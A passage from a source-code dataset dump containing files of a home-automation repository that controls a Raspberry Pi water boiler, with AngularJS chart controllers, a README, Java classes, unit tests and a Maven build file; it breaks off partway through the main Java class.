"text": "app.registerCtrl('ChartCtrl', ChartCtrl);\n\nfunction ChartCtrl ($http, $q) {\n var self = this;\n\n this.message = '';\n this.options = [\n {name: 'this day', value: 0 },\n {name: '3 days', value: 2},\n {name: '7 days', value: 6},\n {name: '30 days', value: 29}\n ];\n\n var chartData = [];\n\n var chart = new CanvasJS.Chart(\"chartContainer\",\n {\n zoomEnabled: true,\n animationEnabled: true,\n title:{\n text: \"Temperature\"\n },\n axisX :{\n labelAngle: -30,\n valueFormatString: \"D.M HH:mm\",\n gridThickness: 1\n },\n axisY :{\n includeZero:false\n },\n data: chartData\n });\n\n var showGraphs = function (graphs){\n graphs.forEach( function(graph){\n var dataSeries = {\n type: \"line\",\n color: getColor(graph.power)\n };\n\n dataSeries.dataPoints = graph.dataPoints;\n chartData.push(dataSeries); //fill with new data\n });\n chart.render();\n }\n\n var requestTempLog = function(date){\n return $http( {\n method: 'GET',\n url: '/log',\n params: { date: dateConverter.getDateString(date), logType: 'temperatures' }\n }\n );\n }\n\n var requestPowerLog = function(date){\n return $http( {\n method: 'GET',\n url: '/log',\n params: { date: dateConverter.getDateString(date), logType: 'power' }\n } );\n }\n\n this.update = function(){\n this.message = 'loading';\n chartData.splice(0, chartData.length); //empty array\n\n\n var currentDay = moment();\n var firstDay = moment(currentDay).subtract(this.period, 'day');\n var dayBefore = moment(currentDay).subtract(1, 'day');\n\n var powerLogPromise = requestPowerLog(currentDay)\n\n while ( currentDay.isSameOrAfter(firstDay) ){\n\n var tempLogPromise = requestTempLog(currentDay);\n var powerLogPromiseDayBefore = requestPowerLog(dayBefore);\n\n $q.all([tempLogPromise, powerLogPromise, powerLogPromiseDayBefore]).then(function(arrayOfResults) {\n self.message = '';\n\n var dataPoints = convertTemperatureLog(arrayOfResults[0].data, self.period);\n var powerLog = convertPowerLog(arrayOfResults[1].data);\n var powerLogYesterday = convertPowerLog(arrayOfResults[2].data);\n\n //add last power info from day before to current day\n powerLog.unshift(powerLogYesterday.pop());\n\n var graphs = createGraphs(dataPoints, powerLog);;\n\n showGraphs(graphs);\n\n }, function (reason) {\n self.message = 'error';\n });\n\n /*\n * for next iteration turn dates one day back\n */\n currentDay.subtract(1, 'day');\n dayBefore.subtract(1, 'day');\n powerLogPromise = powerLogPromiseDayBefore;\n\n }\n }\n}\n\nfunction createGraphs(dataPoints, powerLog){\n var graphs = [];\n var powerIndex = 0;\n for ( var x = 0; x < dataPoints.length; x++ ){\n if ( powerIndex < powerLog.length && powerLog[powerIndex].date < dataPoints[x].x ){\n //rollover\n var power = -1;\n if ( powerIndex != 0 ){\n power = powerLog[powerIndex - 1].power;\n }\n graphs.push({\n power: power,\n dataPoints: dataPoints.splice(0, x)\n })\n x=0;\n powerIndex++\n }\n }\n\n graphs.push({\n power: powerLog[powerLog.length - 1].power,\n dataPoints: dataPoints\n })\n return graphs;\n}\n\nfunction getColor(power){\n switch(power){\n case -1: return 'black';\n case 0: return 'blue';\n case 1: return '#ffff00';\n case 2: return '#ff6600';\n case 3: return '#ff0000';\n }\n}\n\nfunction convertPowerLog(powerLog){\n var power = [];\n var lines = powerLog.split('\\n');\n for(var i = 0;i < lines.length;i++){\n var line = lines[i];\n var search = 'HEAT_LEVEL=HEAT_POWER_';\n var index = line.search(search);\n if ( index != -1){\n power.push({\n date: dateConverter.convertLogTime(line.split(' ')[0]),\n power: parseFloat(line.substr(index + search.length, 1))\n });\n }\n }\n return power;\n}\n\nfunction convertTemperatureLog(temperaturelog, period){\n var dataPoints = [];\n var lines = temperaturelog.split('\\n');\n //dont use last line, its empty\n if ( period == 0 ) period++;\n for(var i = 0;i < lines.length - 1;i++){\n //nehme weniger werte für große zeiträume\n if ( i % period != 0 ) continue;\n var line = lines[i];\n var values = line.split(' ');\n dataPoints.push({\n x: dateConverter.convertLogTime(values[0]),\n y: parseFloat(values[1])\n });\n }\n return dataPoints;\n}\n"
},
{
"alpha_fraction": 0.7355889678001404,
"alphanum_fraction": 0.7443609237670898,
"avg_line_length": 25.566667556762695,
"blob_id": "ecefb8cee7b284b2747da8033a33452475361182",
"content_id": "701ac10c58cc047ae51badd97b6b70f8aa14793a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1598,
"license_type": "permissive",
"max_line_length": 202,
"num_lines": 60,
"path": "/README.md",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "\n# boiler-steuerung\n Energy costs in the night may be lower than in the day. With this software the boiler heats only during the night to save energy costs. The savings sum up to more than 100€ per year (in our household).\n\n\n## Hardware requirements\n- Temperature sensor (e. g. adafruit TMP006)\n- RaspberryPi\n- min. 3CH Power Relay\n\n## Getting started\n### Copy required configurations and system services\n```shell\ncp -r etc/* /etc\ncp -r usr/* /usr\nmkdir -p /var/log/temperature\n``` \n\n\n### Build the control software\n```shell\ncd BoilerSteuerung\nmvn clean package\ncp target/boiler-1.jar /home/pi/boiler.jar\n```\n### Optional: Webserver\n```shell\nmkdir -r /srv/web\ncp -r webserver/* /srv/web\ncd /srv/web\nnpm install\n```\n\n### Start services\n```shell\nservice sensor-ir start\nservice boiler start\nservice webserver start\n```\n\n## Architecture overview\n\n### Measuring the temperature\nThe TMP006 uses the I2C connectors of the RaspberryPi.\n```/usr/bin/sensor-ir``` measures the current temperature and stores it in ```/var/log/temperature/```\n\n### Control software\nThe control software reads the current temperatures and heats the water via GPIO pins on RaspberryPi. Those GPIO pins are defined in ```BoilerControllerGPIOImpl.java```\n\n### Webserver\nThe Webserver provides overview about the current water temperature and the heating costs, as well as configuration options.\n! ATTENTION ! This webserver is not supposed to be publicly reachable.\n\n\n## Additional energy savings \n\nDisable HDMI on RaspberryPI\nAdd ```/usr/bin/tvservice -o``` to ```/etc/rc.local```\n\n## Licensing\n[Apache License 2.0](LICENSE)\n\n"
},
{
"alpha_fraction": 0.5350000262260437,
"alphanum_fraction": 0.5450000166893005,
"avg_line_length": 21.47191047668457,
"blob_id": "207e14c752b45d6ec73c006346d41bdfdc0a22af",
"content_id": "1743163231e0ab38eb99f6d829df342ed43083b7",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2001,
"license_type": "permissive",
"max_line_length": 80,
"num_lines": 89,
"path": "/webserver/public/views/chart/fillLevelChartCtrl.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "app.registerCtrl('FillLevelChartCtrl', FillLevelChartCtrl);\n\nfunction FillLevelChartCtrl ($http, $q) {\n var self = this;\n\n this.message = '';\n this.options = [\n {name: 'this day', value: 0 },\n {name: '3 days', value: 2},\n {name: '7 days', value: 6},\n {name: '30 days', value: 29}\n ];\n\n var chartData = [];\n\n var chart = new CanvasJS.Chart(\"chartContainer\",\n {\n zoomEnabled: true,\n animationEnabled: true,\n title:{\n text: \"Füllstand\"\n },\n axisX :{\n labelAngle: -30,\n valueFormatString: \"D.M HH:mm\",\n gridThickness: 1\n },\n axisY :{\n includeZero:true\n },\n data: chartData\n });\n\n var showGraphs = function (graphs){\n graphs.forEach( function(graph){\n var dataSeries = {\n type: \"line\",\n dataPoints: graph,\n\n color: 'blue'\n };\n\n chartData.push(dataSeries); //fill with new data\n });\n chart.render();\n }\n\n this.update = function(){\n this.message = 'loading';\n chartData.splice(0, chartData.length); //empty array\n\n var d = moment();\n for ( var i=0; i <= this.period; i++ ){\n\n $http( {\n method: 'GET',\n url: '/log',\n params: { date: dateConverter.getDateString(d), logType: 'fill-level' }\n }).then( function(fillLevel){\n self.message = '';\n\n var dataPoints = convertFillLevelLog(fillLevel.data);\n showGraphs([dataPoints]);\n\n }, function (error){\n self.message = 'error';\n })\n\n d.subtract(1, 'day');\n }\n\n }\n}\n\nfunction convertFillLevelLog(fillLevelLog){\n var dataPoints = [];\n var lines = fillLevelLog.split('\\n');\n //dont use last line, its empty\n for(var i = 0; i < lines.length - 1;i++){\n var line = lines[i];\n var values = line.split(' ');\n var level = values[1].split('=')[1];\n dataPoints.push({\n x: dateConverter.convertLogTime(values[0]),\n y: parseFloat(level)\n });\n }\n return dataPoints;\n}\n"
},
{
"alpha_fraction": 0.7985074520111084,
"alphanum_fraction": 0.7985074520111084,
"avg_line_length": 25.799999237060547,
"blob_id": "5161751c4961f84c29d3cc016a22ef6159e95cd0",
"content_id": "a9a26c6e1e0f8c25fa732fb6bcb6779c16cec63a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 134,
"license_type": "permissive",
"max_line_length": 62,
"num_lines": 5,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/temperature/Temperature.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.temperature;\n\npublic interface Temperature extends Comparable<Temperature> {\n Float getTemperature();\n}\n"
},
{
"alpha_fraction": 0.6865671873092651,
"alphanum_fraction": 0.6865671873092651,
"avg_line_length": 17.272727966308594,
"blob_id": "cf8733c71876037b1228f539480a2728ae29bd47",
"content_id": "65fa40639091c69d918a01a9599d831dc5078ee6",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 402,
"license_type": "permissive",
"max_line_length": 70,
"num_lines": 22,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/analyze/DummyTemperatureAnalyzer.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.analyze;\n\nimport de.schleger.boiler.temperature.Temperature;\n\npublic class DummyTemperatureAnalyzer implements TemperatureAnalyzer {\n\n private Temperature t;\n\n @Override\n public Temperature getAverageTemperature() {\n return t;\n }\n\n public void setTemperature(Temperature t) {\n this.t = t;\n }\n\n @Override\n public void update() {\n\n }\n}\n"
},
{
"alpha_fraction": 0.6323529481887817,
"alphanum_fraction": 0.6433823704719543,
"avg_line_length": 17.133333206176758,
"blob_id": "c68899b9f86c420bf79e8f6d4aa6cda8511ff11d",
"content_id": "05b541f525d3d6195c80c522276e43e791485837",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 272,
"license_type": "permissive",
"max_line_length": 55,
"num_lines": 15,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/time/BoilerTime.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.time;\n\nimport java.time.LocalDateTime;\n\npublic final class BoilerTime {\n\n private BoilerTime() {\n }\n\n public static boolean isNight(LocalDateTime time) {\n int hour = time.getHour();\n return 21 < hour || 6 > hour;\n }\n\n}\n"
},
{
"alpha_fraction": 0.8237547874450684,
"alphanum_fraction": 0.8237547874450684,
"avg_line_length": 31.625,
"blob_id": "fd35ee4355d7673c45e3e4e4a9d08884dc80e96c",
"content_id": "7f629941e5aae0cd9936a64c0893bf4cb667b745",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 261,
"license_type": "permissive",
"max_line_length": 90,
"num_lines": 8,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/heat/HeatTimeCalculator.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.heat;\n\nimport de.schleger.boiler.config.HeatPower;\nimport de.schleger.boiler.temperature.Temperature;\n\npublic interface HeatTimeCalculator {\n public int calculate(Temperature startTemp, Temperature endTemp, HeatPower heatPower);\n}\n"
},
{
"alpha_fraction": 0.6513994932174683,
"alphanum_fraction": 0.6513994932174683,
"avg_line_length": 19.6842098236084,
"blob_id": "447bae166b514d142d181eab939d158a5b54f016",
"content_id": "9bebad9b64eaccbb9f2744d51ed9e9830d35a9d7",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 393,
"license_type": "permissive",
"max_line_length": 59,
"num_lines": 19,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/log/LogDescriptor.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.log;\n\npublic class LogDescriptor {\n private String path;\n private int lifeTimeInDays;\n\n public LogDescriptor(String path, int lifeTimeInDays) {\n this.path = path;\n this.lifeTimeInDays = lifeTimeInDays;\n }\n\n public String getPath() {\n return path;\n }\n\n public int getLifeTimeInDays() {\n return lifeTimeInDays;\n }\n}\n"
},
{
"alpha_fraction": 0.7058823704719543,
"alphanum_fraction": 0.7058823704719543,
"avg_line_length": 16,
"blob_id": "14c2587080979d124e928fffb56870167baebc04",
"content_id": "16188fb0a359964b207a10f3932b9f4a7282cb8a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 51,
"license_type": "permissive",
"max_line_length": 28,
"num_lines": 3,
"path": "/usr/bin/webserver",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "#!/bin/sh\ncd /srv/web\nDEBUG=tempServer:* npm start\n"
},
{
"alpha_fraction": 0.7614678740501404,
"alphanum_fraction": 0.7614678740501404,
"avg_line_length": 14.571428298950195,
"blob_id": "50bdafd368d49e46ed71541be3d14f34463c8cb9",
"content_id": "0c8fa0c38be550714923ad63e8a5e27c3b9cd210",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 109,
"license_type": "permissive",
"max_line_length": 39,
"num_lines": 7,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/information/InformationUpdater.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.information;\n\npublic interface InformationUpdater {\n\n public void update();\n\n}\n"
},
{
"alpha_fraction": 0.6845329403877258,
"alphanum_fraction": 0.6845329403877258,
"avg_line_length": 21.517240524291992,
"blob_id": "fe3a1cba191b55529fce8cf3ae5715cbdabc72d0",
"content_id": "b747f9d924d6f0c7222ba4ccb9ed0bd335cc5c16",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 653,
"license_type": "permissive",
"max_line_length": 78,
"num_lines": 29,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/filter/DummyTemperatureActionFilter.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.filter;\n\npublic class DummyTemperatureActionFilter implements TemperatureActionFilter {\n private boolean isFiltered;\n private boolean filterResponse;\n\n @Override\n public boolean filter() {\n setFiltered(true);\n\n return isFilterResponse();\n }\n\n public boolean isFiltered() {\n return isFiltered;\n }\n\n public void setFiltered(boolean isFiltered) {\n this.isFiltered = isFiltered;\n }\n\n public boolean isFilterResponse() {\n return filterResponse;\n }\n\n public void setFilterResponse(boolean filterResponse) {\n this.filterResponse = filterResponse;\n }\n}\n"
},
{
"alpha_fraction": 0.7192660570144653,
"alphanum_fraction": 0.7412844300270081,
"avg_line_length": 37.58407211303711,
"blob_id": "ea41e3eac1fe12056c97226ba262adeb0624a7e8",
"content_id": "a2408d2bbbf8ed7772d6bf799154e0b8b4ceae3d",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4360,
"license_type": "permissive",
"max_line_length": 115,
"num_lines": 113,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/information/FillLevelTest.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.information;\n\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.junit.Assert.assertThat;\n\nimport java.time.LocalDateTime;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport de.schleger.boiler.analyze.DummyTemperatureAnalyzer;\nimport de.schleger.boiler.config.DummyConfigProviderIn;\nimport de.schleger.boiler.model.BoilerModel;\nimport de.schleger.boiler.temperature.TemperatureImpl;\nimport de.schleger.boiler.time.DummyTimeProvider;\n\npublic class FillLevelTest {\n private DummyConfigProviderIn dummyConfigProviderIn;\n private BoilerModel boilerModel;\n private DummyTemperatureAnalyzer dummyTemperatureAnalyzer;\n\n private FillLevel fillLevel;\n private DummyTimeProvider dummyTimeProvider;\n\n @Before\n public void setUp() {\n dummyConfigProviderIn = new DummyConfigProviderIn();\n boilerModel = new BoilerModel();\n dummyTemperatureAnalyzer = new DummyTemperatureAnalyzer();\n dummyTimeProvider = new DummyTimeProvider();\n dummyTimeProvider.setTime(LocalDateTime.of(2015, 1, 1, 10, 10));\n\n fillLevel = new FillLevel(dummyConfigProviderIn, boilerModel, dummyTemperatureAnalyzer, dummyTimeProvider);\n }\n\n @Test\n public void ifTemperatureIsUnderMindesttemperatureFillLevelIs0() {\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(22f));\n dummyConfigProviderIn.setTargetTemperature(new TemperatureImpl(40f));\n dummyConfigProviderIn.setEmptyTemperature(new TemperatureImpl(25f));\n\n fillLevel.update();\n\n assertThat(boilerModel.getFillLevel(), equalTo(0F));\n }\n\n @Test\n public void ifTemperatureIsOverTargettemperatureFillLevelIs100() {\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(42f));\n dummyConfigProviderIn.setTargetTemperature(new TemperatureImpl(40f));\n dummyConfigProviderIn.setEmptyTemperature(new TemperatureImpl(25f));\n\n fillLevel.update();\n\n assertThat(boilerModel.getFillLevel(), equalTo(100F));\n }\n\n @Test\n public void ifTemperatureIsBetweenMinAndTargetInterpolateFillLevel() {\n dummyConfigProviderIn.setTargetTemperature(new TemperatureImpl(40f));\n dummyConfigProviderIn.setEmptyTemperature(new TemperatureImpl(15f));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(38f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(74F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(32f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(57F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(23f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(37F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(18f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(22F));\n }\n\n @Test\n public void ifTemperatureIsOverTargetInterpolateFillLevelAndHadNewTargetTillMidnight() {\n dummyConfigProviderIn.setTargetTemperature(new TemperatureImpl(40f));\n dummyConfigProviderIn.setEmptyTemperature(new TemperatureImpl(15f));\n\n // Neues maximum\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(51.37f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(100F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(51.36999f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(100F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(32f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(47F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(23f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(31F));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(18f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(18F));\n\n // Um Mitternacht wird maximum Resettet\n dummyTimeProvider.setTime(LocalDateTime.of(2015, 1, 1, 0, 10));\n\n dummyTemperatureAnalyzer.setTemperature(new TemperatureImpl(32f));\n fillLevel.update();\n assertThat(boilerModel.getFillLevel(), equalTo(57F));\n }\n}\n"
},
{
"alpha_fraction": 0.5291385054588318,
"alphanum_fraction": 0.5506756901741028,
"avg_line_length": 25.0219783782959,
"blob_id": "fd2bbe68328a2bb61651e4b962ec5ec7853893b2",
"content_id": "72908bfc0973dc17623dba694155a1422923b942",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "JavaScript",
"length_bytes": 2368,
"license_type": "permissive",
"max_line_length": 138,
"num_lines": 91,
"path": "/webserver/test/indexTest.js",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "var srv = require('../bin/www');\nvar chai = require('chai');\nvar request = require('supertest');\n\nvar expect = chai.expect;\n\ndescribe('boiler web server', function () {\n\n describe('/', function () {\n it('should return 200', function (done) {\n request(srv)\n .get('/')\n .expect(200, done);\n });\n })\n\n describe('/login', function(){\n it('should allow the login', function (done) {\n login(function(header){\n done();\n });\n });\n })\n\n describe('/settings', function(){\n it('should return the settings', function (done) {\n request(srv)\n .get('/settings')\n .expect(200, done);\n });\n it('should set the settings', function (done) {\n login(function (cookie){\n setTemperatures(65, 23, 76);\n setTemperatures(cookie, 40, 43, 15, done);\n });\n\n });\n it('should not allow illegal values', function (done) {\n login(function (cookie){\n request(srv)\n .post('/settings')\n .set('Cookie', cookie)\n .send({\"TARGET_TEMPERATURE\":0,\"LEGIONELLEN_TEMPERATURE\":0,\"EMPTY_TEMPERATURE\":100})\n .expect(400, done);\n });\n });\n it('should not allow when a value is missing', function (done) {\n login(function (cookie){\n request(srv)\n .post('/settings')\n .set('Cookie', cookie)\n .send({\"LEGIONELLEN_TEMPERATURE\":30,\"EMPTY_TEMPERATURE\":30})\n .expect(400, done);\n });\n });\n })\n\n\n it('404 everything else', function (done) {\n request(srv)\n .get('/foo/bar')\n .expect(404, done);\n });\n\n function setTemperatures(cookie, target, legionellen, empty, done){\n request(srv)\n .post('/settings')\n .set('Cookie', cookie)\n .send({\"TARGET_TEMPERATURE\":target,\"LEGIONELLEN_TEMPERATURE\":legionellen,\"EMPTY_TEMPERATURE\":empty})\n .expect(200)\n .end( function(){\n request(srv)\n .get('/settings')\n .expect('{\"TARGET_TEMPERATURE\":' + target + ',\"LEGIONELLEN_TEMPERATURE\":' + legionellen + ',\"EMPTY_TEMPERATURE\":' + empty + '}')\n .expect(200, done);\n });\n };\n\n function login(cb){\n request(srv)\n .post('/login')\n .send({user:'admin', pw: 'password'})\n .end(function(err, res) {\n expect(res.statusCode).to.be.equal(200);\n cb(res.headers['set-cookie'])\n });\n }\n\n})\n\nsrv.close();\n"
},
{
"alpha_fraction": 0.5507956147193909,
"alphanum_fraction": 0.5654834508895874,
"avg_line_length": 27.66666603088379,
"blob_id": "a64b878adf52c6f2a740e2f552f2333c77cc2095",
"content_id": "da618b4426b1addbceb07a38d8c35e284078515e",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Maven POM",
"length_bytes": 3268,
"license_type": "permissive",
"max_line_length": 110,
"num_lines": 114,
"path": "/BoilerSteuerung/pom.xml",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "<project>\n <modelVersion>4.0.0</modelVersion>\n <groupId>de.schleger</groupId>\n <artifactId>boiler</artifactId>\n <version>1</version>\n\n <properties>\n <maven.compiler.source>1.8</maven.compiler.source>\n <maven.compiler.target>1.8</maven.compiler.target>\n </properties>\n\n <build>\n <plugins>\n <plugin>\n <groupId>org.apache.maven.plugins</groupId>\n <artifactId>maven-shade-plugin</artifactId>\n <version>3.2.4</version>\n <configuration>\n <!-- put your configurations here -->\n <transformers>\n \t\t\t\t<!-- add Main-Class to manifest file -->\n <transformer implementation=\"org.apache.maven.plugins.shade.resource.ManifestResourceTransformer\">\n \t\t\t\t\t<mainClass>de.schleger.boiler.main.BoilerMain</mainClass>\n \t\t\t\t</transformer>\n \t\t\t </transformers>\n </configuration>\n <executions>\n <execution>\n <phase>package</phase>\n <goals>\n <goal>shade</goal>\n </goals>\n </execution>\n </executions>\n </plugin>\n <plugin>\n <groupId>org.apache.maven.plugins</groupId>\n <artifactId>maven-enforcer-plugin</artifactId>\n <version>3.0.0</version>\n <executions>\n <execution>\n <id>enforce-maven</id>\n <goals>\n <goal>enforce</goal>\n </goals>\n <configuration>\n <rules>\n <requireMavenVersion>\n <version>3.1.1</version>\n </requireMavenVersion>\n </rules>\n </configuration>\n </execution>\n </executions>\n </plugin>\n <plugin>\n <groupId>net.revelc.code.formatter</groupId>\n <artifactId>formatter-maven-plugin</artifactId>\n <executions>\n <execution>\n <goals>\n <goal>format</goal>\n </goals>\n <configuration>\n <encoding>UTF-8</encoding>\n <lineEnding>LF</lineEnding>\n </configuration>\n </execution>\n </executions>\n </plugin>\n\n </plugins>\n </build>\n\n <dependencies>\n <dependency>\n <groupId>commons-io</groupId>\n <artifactId>commons-io</artifactId>\n <version>2.11.0</version>\n </dependency>\n <dependency>\n <groupId>org.apache.commons</groupId>\n <artifactId>commons-math3</artifactId>\n <version>3.6.1</version>\n </dependency>\n <dependency>\n <groupId>org.apache.logging.log4j</groupId>\n <artifactId>log4j-core</artifactId>\n <version>2.17.0</version>\n </dependency>\n <dependency>\n <groupId>org.apache.logging.log4j</groupId>\n <artifactId>log4j-api</artifactId>\n <version>2.17.0</version>\n </dependency>\n <dependency>\n <groupId>com.pi4j</groupId>\n <artifactId>pi4j-core</artifactId>\n <version>1.2</version>\n </dependency>\n <dependency>\n <groupId>junit</groupId>\n <artifactId>junit</artifactId>\n <version>4.13.2</version>\n <scope>test</scope>\n </dependency>\n <dependency>\n <groupId>org.hamcrest</groupId>\n <artifactId>hamcrest-all</artifactId>\n <version>1.3</version>\n <scope>test</scope>\n </dependency>\n </dependencies>\n</project>\n"
},
{
"alpha_fraction": 0.7721204161643982,
"alphanum_fraction": 0.7775514721870422,
"avg_line_length": 51.619049072265625,
"blob_id": "2d8661f9dcd83b9e6b325b11b8583f83a39bdfaa",
"content_id": "36f3c6db9e95e6228a3c86ce5c7886ea73659d6b",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 4419,
"license_type": "permissive",
"max_line_length": 116,
"num_lines": 84,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/main/BoilerMain.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.main;\n\nimport java.io.File;\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Timer;\nimport java.util.TimerTask;\n\nimport de.schleger.boiler.analyze.TemperatureAnalyzer;\nimport de.schleger.boiler.analyze.TemperatureAnalyzerFileImpl;\nimport de.schleger.boiler.boiler.BoilerControllerGPIOImpl;\nimport de.schleger.boiler.config.ConfigProviderIn;\nimport de.schleger.boiler.config.ConfigProviderInFileImpl;\nimport de.schleger.boiler.config.ConfigProviderOutFileImpl;\nimport de.schleger.boiler.filter.TemperatureActionFilter;\nimport de.schleger.boiler.filter.TemperatureActionFilterNachtHeizungLegionellen;\nimport de.schleger.boiler.filter.TemperatureActionFilterNachtHeizungNormal;\nimport de.schleger.boiler.heat.HeatCostCalculatorImpl;\nimport de.schleger.boiler.heat.HeatCostLogging;\nimport de.schleger.boiler.heat.HeatTimeCalculator;\nimport de.schleger.boiler.heat.HeatTimeCalculatorImpl;\nimport de.schleger.boiler.heat.HeatTimeInterpolatorImpl;\nimport de.schleger.boiler.information.FillLevel;\nimport de.schleger.boiler.information.InformationUpdater;\nimport de.schleger.boiler.log.LogDescriptor;\nimport de.schleger.boiler.log.LogFileChecker;\nimport de.schleger.boiler.model.BoilerModel;\nimport de.schleger.boiler.schedule.BoilerScheduleImpl;\nimport de.schleger.boiler.task.BoilerTaskImpl;\nimport de.schleger.boiler.time.TimeProvider;\nimport de.schleger.boiler.time.TimeProviderImpl;\n\npublic class BoilerMain {\n private static final int MAX_LOG_FILE_ALIVE_TIME_IN_DAYS = 366;\n\n private static final String LOG_DIRECTORY = \"/var/log/boiler/\";\n private static final File FILE_LOG_DIRECTORY = new File(LOG_DIRECTORY);\n\n private static final String BOILER_LOG = \"boiler.log\";\n private static final String FILL_LEVEL_LOG = \"fillLevel.log\";\n private static final String COSTS_LOG = \"costs.log\";\n\n private static final String BOILER_CONF_IN = \"/etc/boiler/boiler.config.in\";\n private static final File FILE_IN = new File(BOILER_CONF_IN);\n\n private static final String BOILER_CONF_OUT = \"/etc/boiler/boiler.config.out\";\n private static final File FILE_OUT = new File(BOILER_CONF_OUT);\n\n private static final String TEMP_LOG = \"/var/log/temperature/temp.log\";\n private static final File FILE_TEMP = new File(TEMP_LOG);\n\n public static void main(String[] args) {\n BoilerModel boiler = new BoilerModel();\n TimeProvider timeProvider = new TimeProviderImpl();\n boiler.addPropertyChangeListener(\"heatPower\", new BoilerControllerGPIOImpl());\n ConfigProviderIn configProviderIn = new ConfigProviderInFileImpl(FILE_IN);\n boiler.addPropertyChangeListener(\"heatPower\",\n new HeatCostLogging(timeProvider, new HeatCostCalculatorImpl(configProviderIn)));\n TemperatureAnalyzer temperatureAnalyzer = new TemperatureAnalyzerFileImpl(FILE_TEMP);\n boiler.addPropertyChangeListener(new ConfigProviderOutFileImpl(FILE_OUT));\n HeatTimeCalculator heatTimeCalulator = new HeatTimeCalculatorImpl(new HeatTimeInterpolatorImpl());\n\n List<TemperatureActionFilter> temperaturActionFilterList = new ArrayList<TemperatureActionFilter>();\n temperaturActionFilterList.add(new TemperatureActionFilterNachtHeizungNormal(timeProvider, configProviderIn,\n temperatureAnalyzer, boiler, heatTimeCalulator));\n temperaturActionFilterList.add(new TemperatureActionFilterNachtHeizungLegionellen(timeProvider,\n configProviderIn, temperatureAnalyzer, boiler, heatTimeCalulator));\n\n List<InformationUpdater> informationProviderList = new ArrayList<>();\n informationProviderList.add(timeProvider);\n informationProviderList.add(configProviderIn);\n informationProviderList.add(temperatureAnalyzer);\n informationProviderList.add(new FillLevel(configProviderIn, boiler, temperatureAnalyzer, timeProvider));\n informationProviderList.add(new LogFileChecker(timeProvider, FILE_LOG_DIRECTORY,\n 